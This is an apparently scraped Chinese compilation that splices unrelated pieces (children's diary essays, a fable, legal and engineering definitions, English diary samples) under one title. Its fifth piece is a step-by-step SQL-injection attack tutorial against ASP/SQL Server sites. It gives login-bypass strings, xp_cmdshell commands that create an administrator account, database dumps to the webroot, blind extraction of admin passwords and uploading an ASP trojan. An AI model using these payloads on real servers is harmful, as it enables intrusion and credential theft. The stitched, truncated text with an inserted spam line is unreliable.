什么是日记式作文
“yueqing2008”通过精心收集，向本站投稿了30篇什么是日记式作文，下面是小编给大家整理后的什么是日记式作文，欢迎大家借鉴与参考，希望对大家有所帮助。
篇1：日记式作文600字
今天阳光明媚，万里晴空飘着朵朵白云(萝莉时代作文最爱词语之一，貌似是从语文课本上山寨来的。此后，每每作文，必有此句)，我和童鞋们去草莓基地摘草莓。
我们排着整齐的队伍坐上2路公交车来到了目的地。一下车就有一位老奶奶热情邀请我们去她家摘草莓。我们经过一大片菜地，有的童鞋说，韭菜是空心的吧?有的说，快看，那是葱!我们一看，不是葱是蒜。有的说，那是菠菜吧!明明是香菜好不好。我对他们彻底无语了，老师教育我们一定要多学农业知识，他们实在是太无知了。(PS，回来后，有人问我，草莓树有多高?==，我说，它趴在地上···)
走进温室大棚，首先映入眼帘(萝莉时代作文最中意的词语之二，显得很有文化)的是一垄一垄的草莓，个个都长着红彤彤的脸蛋(老师最中意的拟人修辞手法)。我们摘啊摘，每个人都摘了几斤回家了。回来的车上，一位老爷爷没有座位坐，我们让位子给他。他说：“谢谢!你们叫什么名字?”我们想起了雷锋叔叔做好事从来不留名，但是他把每件好事都写进了日记里。于是，我们高兴地回答：“老爷爷，不用谢，我们叫红领巾。”(一般写做好事，诸如扶老奶奶过马路、捡到钱包之类，留名的一定是红领巾，)
回来之后，我们就去CC家玩，大家一起吃饭、卡五星，有自称雀坛高手的为了赢大钱来了个诈和。CC说，乃们吃我的喝我的还赢我的钱···(想起经典段子，住我的房，开我的车，还打我的娃····)
我们度过了一个快乐而有意义的星期天，我将永远记住这一天.
篇2：日记式作文600字
暑假,我和妈妈到郑州小姨家玩。小姨带我的游泳馆游泳。我开心极啦!抱着小姨又蹦又跳。
游泳馆就在小姨的学校,还是室内馆,在地下一层。一到那,我就迫不及待地拿着泳衣和游泳圈拉着小姨跑,去了更衣室换了泳衣光着脚来到泳池。一进游泳馆内。“哇!好大的游泳池呀,跟学校的操场那么大。水很清很清,都可以看到池底。泳池里有叔叔、阿姨还有许多小朋友。小朋友们有的套着游泳圈扑腾水,有的趴在浮板上漂着,有的自己游着,还有胆大的小朋友站在台上往池中跳,“扑通”一声,溅起好多的水花,一会又从水中钻出来。看得我目瞪口呆,他们可真厉害呀!我也想赶快下水,妈妈和小姨先下水,让我套上游泳圈,扶着我下来。“哇!水真凉!”“妈妈我在水里漂起来了”我开心地叫起来。在水里漂着真好玩,我两腿一蹬一蹬的,感觉自己也游起来啦!
我看看小姨,小姨就像鱼一样自由的游过来游过去。看着看着,小姨头猛得往下一扎,不见了。“妈妈,小姨不见了!”我急得喊妈妈。“哗啦”一声,小姨突然从我面前出现,一下抱住我的腰。吓死我了!气得我伸手打小姨。“哈哈哈!”小姨大笑起来。“小姨,你教我呗!我也想学游泳!”“好!咱们带着游泳圈学游泳!包你会游!”我一听高兴极啦!小姨一本正经地说:“轩轩,咱们就学我独创的游泳圈式蛙泳游法!现在你两胳膊伸直,向两边拨水,两腿向内一伸一缩用力后蹬,就像青蛙蹬腿一样!试试吧!”我就按小姨说的试了一下,真的向前游了一点。我赶紧又伸胳膊蹬腿,往前迁移了一大截。“我会啦!我会游了!”我高兴的对妈妈说,妈妈只笑不说话。小姨笑着说:“轩轩,我的游泳圈式蛙泳游法很快学会了吧!”“就是!小姨真厉害!”我高兴地又游了起来!
在水中游泳真开心呀!
篇3：日记式作文600字
从前，有一匹老马妈妈刚生下一匹小马，她就给小马戴上铃铛，小马跑起来，铃铛就发出“叮呤、叮呤”的响声，声音是多么清脆啊!她还给小马起了一个非常好听的名字——叮呤。
冬天来了。有一天，老马出去觅食，过了好久也没有回来。小马想：妈妈，你该不会是迷路了吧?然后，小马使劲摇着脖子上的铃铛，希望妈妈能听到赶紧回来。过了一会儿，小马摇累了、困了，就把铃铛挂在洞口，他想：这样妈妈回来的话我第一时间就知道了。想着想着，小马便睡着了。
他梦见：妈妈回来碰到洞口的铃铛，发出“叮呤、叮呤”响声。他醒了，跑到洞口一看，原来，铃铛只是被寒风吹着发出“叮呤、叮呤”的响声。他失望地回到洞里继续等。
过了一会儿，又传来“叮呤、叮呤”的响声，他一看不得了啦，竟然是一头母老虎，但那是一头吃饱的母老虎。她说;“这里真暖和。”然后，她对小马说：“你给我出去，我要借你这里睡一觉。”小马无奈，只好站在洞口外耐心地等待着妈妈。老虎想到老马和自己的孩子都被狮子吃掉了，她看了看小马，眼前浮现出小老虎正在等她的情景。就用温柔的声音说：“你进来吧!”小马回答说：“不!我要站在这里等妈妈。”
这时，老虎嗅到了那只可恶的狮子的气味，就把小马轻轻地叼回洞里。自己跳出洞口，等待着狮子的到来。
狮子来了，老虎一吼，狮子一愣，也吼了一声。然后狮子说：“臭老虎，快让开，我的目标是小马，没工夫跟你玩。”老虎看着可怜的小马就想到了已入狮口的孩子，心疼不已，它决定要守护小马。于是她对狮子说：“你休想动小马一根汗毛。”说完他们便打了起来。可能是母爱的力量，让老虎战斗力激增，她竟然占了上风。狮子眼看情况不妙，只好仓皇逃走。临走时还留下一句话：“今天先饶过你们，但小马早晚是我的晚餐。”
老虎带着伤忍着疼痛回到洞里，对小马说：“如果你妈妈不回来，我就当你妈妈保护你好不好?”小马说：“好。”老虎笑了。
春天来了，随风传来一阵“叮呤、叮呤”的响声，只见两只身影在森林里欢快地奔跑，一大一小……
篇4：什么是要式行为
要式行为是指依照法律规定，必须采取一定形式或履行一定程序才能成立的行为，如：票据行为就是法定要式行为。
综合起来说就是:如法律规定某种民事法律行为必须采用某种形式，这种民事法律行为就称为要式民事行为。公民或者法人设立、变更、终止民事权利和民事义务，必须遵照法律要求的形式，其法律行为方能成立。凡不具备法律规定的形式的民事行为便是无效的。
一般来说，法律行为除法律有特别规定的以外，都是不要式行为
要式行为主要有以下几种情况：银行借款合同、工程承包建设合同、融资租赁合同、技术转让合同。技术开发合同。(物权法里的合同基本上属于要式合同)
要式行为的分类
第一，根据要式法律行为的主体不同，可分为要式民事法律行为和要式行政法律行为。要式民事法律行为是指设立、变更或废止某种民事法律关系必须履行某种特定形式才能成立和生效的民事法律行为。比如结婚，必须男女双方进行婚姻登记的行为。要式行政法律行为是指国家行政机关在行政管理活动中，必须依照法律规定的某种方式而实施，才能发生法律效果的行政行为，如行政处罚必须制作处罚决定书，劳动争议仲裁必须制作仲裁书等。因行政行为对公民的权利影响很大，为防止滥用行政权利，保护公民的合法权益，就必须注重一定的形式和方式。其有利之处在于：内容明确，行政行为的要式可以明确行政行为的内容，便于遵守和执行;便于明确责任，通过必要形式表明行政行为作出的时间、地点、过程和内容，作为判明责任的基础。
第二，根据要式法律行为是否由行为人自由决定为标准，可分为约定要式法律行为、法定要式法律行为以及约定和法定相结合而成的双重要式法律行为。
约定要式法律行为是指行为人设立、变更、废止某种民事法律关系，约定必须经过某种特定的形式才能成立的民事法律行为。如订立经济合同双方当事人约定，合同必须经过公证机关公证后才能成立。它要求约定的要式必须是合法的和能够实现的方式。约定要式法律行为都应当是发生在民事活动中，而行政法律行为当中采用约定要式的很少，根据行政法律行为的特点和调整对象来讲，只要是要式的都应当是法定的，如果采用约定的要式行政行为不利于对公民权益的保护。
法定要式法律行为是指国家立法机关或行政执法机关用法律、法规或规范性法律文件和具有法律约束力的规章、制度等形式而确定的某种法律行为必须经过某种特定的方式才能成立的法律行为，这就要求行为人必须履行法律规定的方式后，行为才能成立。行政要式法律行为都应当是法定的要式行政法律行为，而要式民事法律行为既可以是约定的也可以是法定的。
篇5：什么是注入式攻击
随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多，但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根
据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。
SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据。
据统计，网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，以SQL-SERVER＋ASP例说明SQL注入的原理、方法与过程。（PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章）
SQL注入攻击的总体思路是：
l 发现SQL注入位置；
l 判断后台数据库类型；
l 确定XP_CMDSHELL可执行情况
l 发现WEB虚拟目录
l 上传ASP木马；
l 得到管理员权限；
一、SQL注入漏洞的判断
一般来说，SQL注入一般存在于形如：HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库，那么就有可能存在SQL注入。如果ASP程序员没有安全意识，不进行必要的字符过滤，存在SQL注入的可能性就非常大。
为了全面了解动态网页回答的信息，首选请调整IE的配置。把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚，以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析，YY可能是整型，也有可能是字符串。
1、整型参数的判断
当输入的参数YY为整型时，通常abc.asp中SQL语句原貌大致如下：
select * from 表名 where 字段=YY，所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY';(附加一个单引号)，此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY'，abc.asp运行异常；
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常，而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同；
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常；
如果以上三步全面满足，abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时，通常abc.asp中SQL语句原貌大致如下：
select * from 表名 where 字段='YY'，所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY';(附加一个单引号)，此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY'，abc.asp运行异常；
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常，而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同；
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常；
如果以上三步全面满足，abc.asp中一定存在SQL注入漏洞。
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用SelecT代替select,SELECT等；
②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；
③ASCII码法：可以把输入的部分或全部字符全部用ASCII码代替，如U=chr(85),a=chr(97)等，ASCII信息参见附件二；
二、区分数据库服务器类型
一般来说，ACCESS与SQL－SERVER是最常用的数据库服务器，尽管它们都支持T－SQL标准，但还有不同之处，而且不同的数据库有不同的攻击方法，必须要区别对待。
1、利用数据库服务器的系统变量进行区分
SQL－SERVER有user,db_name等系统变量，利用这些系统值不仅可以判断SQL-SERVER，而且还可以得到大量有用信息。如：
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前正在使用的数据库名；
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限，而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句：
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE，则第一条，abc.asp一定运行正常，第二条则异常；若是ACCESS则两条都会异常。
3、MSSQL三个关键系统表
sysdatabases系统表：Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
dbid //表示库的ID，dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
Sysobjects：SQL-SERVER的每个数据库内都有此系统表，它存放该数据库内创建的所有对象，如约束、默认值、日志、规则、存储过程等，每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
Name，id，xtype，uid，status：分别是对象名，对象ID，对象类型，所有者对象的用户ID,对象状态。
对象类型(xtype)。可以是下列对象类型中的一种：
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束（类型是 K）
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束（类型是 K）
V = 视图
X = 扩展存储过程
当xtype='U' and status>0代表是用户建立的表，对象名就是表名，对象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。
syscolumns ：每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有：
name ，id， colid ：分别是字段名称，表ID号，字段ID号，其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY；exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；“―”号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、HTTP://xxx.xxx.xxx/abc.asp?p=YY；exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
5、HTTP://xxx.xxx.xxx/abc.asp?p=YY；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
四、发现WEB虚拟目录
只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。
一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等，
二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；
先创建一个临时表：temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来：
（1）我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
（2）我们可以利用xp_subdirs获得子目录列表,并存入temp表中：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--
（3）我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
这样就可以成功的浏览到所有的目录（文件夹）列表：
如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;'type c:\web\index.asp';--
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。
当然，如果xp_cmshell能够执行，我们可以用它来完成：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:\';--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:\ *.asp /s/a';--
通过xp_cmdshell我们可以看到所有想看到的，包括W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub\AdminScripts\adsutil.vbs enum w3svc'
但是，如果不是SA权限，我们还可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
注意：
1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然abc.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。
五、上传ASP木马
所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：
1、利用WEB的远程管理功能
许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。
因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、注入法：
从理论上说，认证网页中会有型如：
select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。
如在用户名文本框内输入：abc' or 1=1-- 在密码框内输入：123 则SQL语句变成：
select * from admin where username='abc' or 1=1 and password='123' 不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。
B、猜解法：
基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。
l 猜解所有数据库名称
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 0 因为 dbid 的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12...就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
l 猜解数据库中用户名表的名称
猜解法：此方法就是根据个人的经验猜表名，一般来说，user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在，则abc.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。
读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。
当xtype='U' and status>0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称，并与整数进行比较，显然abc.asp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。
根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。
l 猜解用户名字段及密码字段名称
admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。
猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数，所以若字段名存在，则abc.asp工作正常，否则异常。如此循环，直到猜到两个字段的名称。
读取法：基本的实现方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然abc.asp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6...就可得到所有的字段名称。
l 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有：
ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2，3,4，5，... n，username为用户名字段的名称，admin为表的名称)，若x为某一值i且abc.asp运行正常时，则i就是第一个用户名的长度。如：当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常，则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，...时猜测分别猜测第1,2,3,...位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且abc.asp运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常，则用户名的第三位为P(P的ASCII为80)；
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常，则用户名的第9位为!(!的ASCII为80)；
猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经MD5
篇6：什么是合作式商业
问题：什么是合作式商业？合作式商业是什么意思？
合作式商业(CollaborativeCommerce)：C-商业是指一系列的合作式的,基于电子化的，在企业的内部员工、供应商、商业伙伴和客户之间的，在一个指定的贸易区域内的商业互动，
什么是合作式商业
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所谓贸易区域可能是一个产业、产业细分、特定供应链或供应链细分。HacK50.com-是最好的入门资料网站
篇7：什么是子叶式立交？
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但交通运行条件不如喇叭式好，正线存在交织，多用于苜蓿叶式立交的前期工程。布设时以正线下穿为宜。
篇8：什么是悬挂式结构？
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由于受拉的钢丝束与受压的核心筒或拱受力明确，可充分发挥混凝土与高强钢丝的强度，所以这种结构往往具有自重轻、用钢量少、有效使用面积大等优点。特别是在建筑物的底层形成了开放的自由空间，可与周围地面环境连成一体综合布置，易于满足城市规划的要求。占地面积小是悬挂式结构的一大特点，这样可最大限度地减少新建筑物对邻近老建筑物的影响。这对旧城区的改造，或在密集的建筑群中建造新的高层建筑，具有特别重要的意义。
篇9：什么是顾问式培训
笔者所在的企业很少在外面进行公开课程的培训，因为我们认为公开课程的培训由于学员的层次、需求、职务、学习进度等因素，很难掌握整体效果，而讲师的培训由于讲义与时间的有限，也很难使培训使所有学员都满意（除非你讲授理念性、形势方面或共性方面的内容），而顾问式培训是在培训中做顾问，在顾问中做培训。我们一般在接受企业邀请需要培训时，先派讲师进入企业与有关人士沟通，如培训提纲、培训内容、培训目的等，同时以顾问的名义与企业商讨他们存在的问题、原因或讲授一些成功的经验供客户启发，必要的时候为了解培训需求应在企业里作一些调查，如此一来客户对我们培训的要点有了更深层次的了解与沟通、有时也及时转变培训内容，即完全按照该企业的个性问题设计培训提纲、运用案例及对现阶段该企业的水准有了较为全面的了解。在培训时注重解决哪些问题，他们的疑惑在哪里、方案有哪些、可能有哪些困难重重等等做到心知肚明。
在培训时，我们力戒或高谈阔论、或居高临下或条条框框，而是直入主题，如存在哪些问题、原因是什么，从环境、行业、政策等各方面（根据具体课程而定），做全面分析为“启”，再从解决方案入手，或比较或抛砖引玉或解剖现行做法，指出其或成功或不足的原因，同时希望学员充分讨论、研究以形成共识，此谓“承”，进入下一阶段即讨论解决的方案，以顾问式的引导、咨询、打疑及结合公司的实际情况，找出符合其个性特色的方案来，从阻力、方案、几种方式、流程、图表、监控、考核、量化、评估等各方面研讨，此为“转”，
最后就是合的过程，即随着培训的结束，培训后大家找到了共同的答案、原因。整个培训的过程就是一个咨询的过程。
在培训结束后，要完成培训这一商品的“售后服务”，即咨询的过程又是一个培训的过程，针对学员遇到的问题，进行咨询，而咨询不简单地给以一个咨询师的答案，而是从各方面进行论述，最后形成一个结论或与学员讨论后形成一个结论，而整个咨询的过程，就是一个培训的过程，问讯者不仅知道答案是什么，更知道原来的困惑是什么，为何有这样的困惑，通过咨询自己有怎样的理解，通过沟通有哪些心得等等。
由此可见，顾问式培训与客户更接近，培训的效果更明显，对讲师的要求尤其是操作性更高。
篇10：什么是堆叠式交换机
堆叠式交换机是一种类型的交换机，根据设计，这种交换机可以一台叠放在另一台的上面。这种交换机与机架式交换机不同，可以放置在网络机柜中，也可以单独摆放。堆叠式交换机的功能根据厂商和平台的不同而有所不同。许多堆叠式交换机不支持服务质量（QoS）、多播和虚拟局域网管理等高级功能。PureData和DLink这两家公司生产的堆叠式交换机支持某种形式的服务质量规则。对于你需要的功能，请参阅厂商的技术支持说明。
对于访问层（access layer）交换技术来说，要选择支持虚拟局域网、安全传输协议（STP）和IGMP（互联网组播协议）的交换机。支持服务质量在这种情况下是附加的好处，不必刻意追求。我强烈建议在你的交换机的集合点应用QoS。这是服务质量功能、时序安排和队列最需要的地方。
补充知识：
交换机堆叠是通过厂家提供的一条专用连接电缆，从一台交换机的“UP”堆叠端口直接连接到另一台交换机的“DOWN”堆叠端口，
以实现单台交换机端口数的扩充。一般交换机能够堆叠4～9台。
为了使交换机满足大型网络对端口的数量要求，一般在较大型网络中都采用交换机的堆叠方式来解决。要注意的是只有可堆叠交换机才具备这种端口，所谓可堆叠交换机，就是指一个交换机中一般同时具有“UP”和“DOWN”堆叠端口。当多个交换机连接在一起时，其作用就像一个模块化交换机一样，堆叠在一起交换机可以当作一个单元设备来进行管理。一般情况下，当有多个交换机堆叠时，其中存在一个可管理交换机，利用可管理交换机可对此可堆叠式交换机中的其他“独立型交换机”进行管理。可堆叠式交换机可非常方便地实现对网络的扩充，是新建网络时最为理想的选择。
堆叠中的所有交换机可视为一个整体的交换机来进行管理，也就是说，堆叠中所有的交换机从拓扑结构上可视为一个交换机。堆栈在一起的交换机可以当作一台交换机来统一管理。交换机堆叠技术采用了专门的管理模块和堆栈连接电缆，这样做的好处是，一方面增加了用户端口，能够在交换机之间建立一条较宽的宽带链路，这样每个实际使用的用户带宽就有可能更宽（只有在并不是所有端口都在使用情况下）。另一方面多个交换机能够作为一个大的交换机，便于统一管理。
篇11：日记式英语作文高一
Today is a rainy day. My father took me to school in the morning, because the bus was too crowded. On the way to school, my father asked me about my study. I said I worked very hard in school.
In the class, I listened to the teachers carefully and I often answered the questions. And I had good relationship with my classmates. I was happy to play with them. They were very friendly. My fathered was happy to hear that. He hoped I could be happy in the school.
篇12：日记式英语作文高一
Keeping a diary in English is an effective way to improve our level of English.It can practice our way to think in English; it provides a chance for us to understand and use English words and phrases as well as idioms better; it a good way to practice and improve our writing skills.
